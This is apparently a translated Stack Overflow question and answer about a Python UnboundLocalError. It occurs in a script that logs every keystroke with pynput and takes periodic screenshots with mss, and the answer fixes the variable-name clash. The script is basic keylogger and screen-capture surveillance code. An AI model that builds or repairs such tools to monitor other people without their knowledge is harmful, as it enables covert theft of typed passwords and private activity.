终端输出一个错误,提示local variable 'Listener' referenced before assignment
。我正在尝试导入监听器from pynput.keyboard import Listener
我尝试重新编写程序并更改导入
import os
import time
from threading import Thread, Timer
from mss import mss
from pynput.keyboard import Listener
class IntervalTimer(Timer):
def run(self):
while not self.finished.wait(self.interval):
self.function(*self.args, **self.kwargs)
class Monitor:
def _on_press(self, K):
with open("./log/keylogs/log.txt", "a")as f:
f.write("{} \t\t {}\n".format(K, time.time()))
def _build_logs(self):
if not os.path.exists("./logs"):
os.mkdir("./logs")
os.mkdir("./logs/screenshots")
os.mkdir("./log/keylogger")
def _keylogger(self):
with Listener(on_press = self._on_press)as Listener:
Listener.join()
def _screenshot(self):
sct = mss()
sct.shot(output="./logs/screenshots/{}.png".format(time.time()))
def run(self, interval = 1):
self._build_logs()
Thread(target=self._keylogger).start()
IntervalTimer(interval, self._screenshot).start()
if __name__ == "__main__":
mon = Monitor()
mon.run()
这是错误
with Listener(on_press = self._on_press)as Listener:
UnboundLocalError: local variable 'Listener' referenced before assignment
最佳答案
问题是您在Listener
中重新定义了_keylogger
。有关说明,请参见Python常见问题解答中的Why am I getting an UnboundLocalError when the variable has a value?或Don't understand why UnboundLocalError occurs
要解决此问题,只需更改Listener
实例的名称。无论如何,实例通常都以小写形式编写。
with Listener(on_press=self._on_press) as listener:
listener.join()
关于python - UnboundLocalError继续弹出,我不知道为什么,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/58368019/